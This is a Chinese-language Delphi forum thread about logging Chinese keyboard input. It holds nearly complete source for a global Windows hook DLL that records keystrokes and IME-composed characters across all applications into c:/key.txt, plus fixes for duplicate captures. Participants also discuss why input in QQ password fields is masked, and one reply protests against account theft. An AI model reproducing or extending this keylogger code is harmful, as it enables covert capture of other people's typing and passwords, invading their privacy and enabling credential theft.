如何记录键盘输入的中文? ( 积分: 200 )

  • 主题发起人 主题发起人 dali2000
  • 开始时间 开始时间
D

dali2000

Unregistered / Unconfirmed
GUEST, unregistred user!
看了一些资料,钩子好象只能记录字母,不能记录中文,如何才能记录键盘输入的中文呢?
(小弟不才,记录键盘输入的中文只是研究作用,并不恶意)
 
钩子记录的是键值,只不过英文字母和键值能一一对应。
要记录中文恐怕由记录当前的输入法,然后通过记录的键值自己分析了,可能很复杂。
不知道能不能直接得到输入法当时生成的中文,如果可以可能就比较简单了
 
好象要用到信息钩子
 
记录键盘中文大富翁就有完整代码
记录繁体中文的网上我还没有见过 有的大虾顺便给我一份
 
拦截 WM_CHAR,WM_IME_COMPOSITION消息

SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance,0);

function GetMsgProc(Code: Integer; WParam: WParam; LParam: LParam): LRESULT;
var
theMsg: TMessage;
begin
Result := 0;
if Code < 0 then begin
Result := CallNextHookEx(HOOK, Code, WParam, LParam);
Exit;
end;
if Code = HC_ACTION then begin
if (PMsg(LParam).message = WM_IME_COMPOSITION) then begin
theMsg.Msg := PMsg(LParam).message;
theMsg.WParam := PMsg(LParam).wParam;
theMsg.LParam := PMsg(LParam).lParam;
Proc(theMsg);
end;
Result := CallNextHookEx(HOOK, Code, WParam, LParam);
end
end;

procedure Proc(var Message: TMessage);
var
hIMC: Integer;
dwSize: Integer;
hstr: Integer;
lpstr: Pointer;
begin
if Message.Msg = WM_IME_COMPOSITION then begin
if (Message.lParam and GCS_RESULTSTR) <> 0 then begin
hIMC := ImmGetContext(GetFocus);
dwSize := ImmGetCompositionString(hIMC, GCS_RESULTSTR, nil, 0);
dwSize := dwSize + sizeof(WCHAR);
hstr := GlobalAlloc(GHND,dwSize);
lpstr := GlobalLock(hstr);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
ImmReleaseContext(GetFocus, hIMC);
SaveStrToFile(lpstr);//保存函数你自己写吧
end;
end;
end;
 
还不太明白,能不能给个完整的代码.
 
暗夜中独舞写得真详细啊!
 
帮你顶一下
 
全局钩子中钩键盘输入(包括中文和英文),然后将其保存到文件中,但在WORD中打一个汉字会保存四个或八个同样的这样的汉字,打英文也差不多,在QQ密码框里,输入的内容,是字母就全部变为了a,而数字全变为了1,是什么原因,高手指点呀。另外按一次键也会产生两次消息。

我的钩子是钩WH_GETMESSAGE,然后钩WM_IME_COMPOSITION消息,在SPY中发现打一个汉字会产生四次这个消息,不知道是什么意思。
 
QQ密码框不能拦截的到,因为腾迅公司已经做了处理了

两次消息估计因为按下一次,弹起一次,你加个处理就可以了

四次消息是估计是这样:按下,弹起各触发两次,具体原因我忘记了。。我等下找段资料上来给你看下
你可以在保存时候做处理,先保存到C1,再保存到C2。当C2<>C1的时候再真正保存字符
 
你可以参考一下这里的资料,了解一下 IME的原理。。。。
我记得好象是先出发WM_CHAR消息,然后会再触发WM_IME_COMPOSITION消息,所以会变成四次。。。。
http://dev.csdn.net/Develop/article/28/73572.shtm
 
全局钩子中钩键盘输入(包括中文和英文),然后将其保存到文件中,但在WORD中打一个汉字会保存四个或八个同样的这样的汉字,打英文也差不多,在QQ密码框里,输入的内容,是字母就全部变为了a,而数字全变为了1,是什么原因,高手指点呀。另外按一次键也会产生两次消息。

把代码发上来大伙分析,问题出在哪?
library GetKey;

uses
windows,
messages,
sysutils,imm;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;


procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
hIMC: Integer;
dwSize: Integer;
hstr: Integer;
lpstr: Pchar;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
MessageBox(0, 'char','char',MB_ICONINFORMATION);
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
if (uMessage=WM_IME_COMPOSITION) and (lParam<>0) and (GCS_RESULTSTR<>0) then
begin
hIMC := ImmGetContext(GetFocus);
dwSize := ImmGetCompositionString(hIMC, GCS_RESULTSTR, nil, 0);
dwSize := dwSize + sizeof(WCHAR);
hstr := GlobalAlloc(GHND,dwSize);
lpstr := GlobalLock(hstr);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
ImmReleaseContext(GetFocus, hIMC);
//SaveStrToFile(lpstr);//保存函数你自己写吧
MessageBox(0, lpstr,'COMPOSITION',MB_ICONINFORMATION);
SaveInfo(lpstr);
inc(shared^.count,2);
end;
end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;

procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件,用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
 
真写得详细
 
感谢"暗夜中独舞"的解答,但问题还没有完全解决,请各位高手指点.
 
我有完整的可执行程序,要的话把邮箱贴出来!
 
TO 射手123:
多谢关住此问题。我只是学习研究代码,所以执行程序就不要了,我只想知道代码怎么写。
 
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
盗号可耻
 
我说的是原代码的意思,不是光有exe文件,关于发送两次的问题你可以在两个proc的函数中加上WPARAM=PM_REMOVE,也就是:
if (nCode=HC_ACTION) and (pcs<>nil) and (pcs^.hwnd<>0)and(WPARAM=PM_REMOVE) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
试试吧,我试了是没问题的。
 
我说的是原代码的意思,不是光有exe文件,关于发送两次的问题你可以在两个proc的函数中加上WPARAM=PM_REMOVE,也就是:
if (nCode=HC_ACTION) and (pcs<>nil) and (pcs^.hwnd<>0)and(WPARAM=PM_REMOVE) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
试试吧,我试了是没问题的。
 
后退
顶部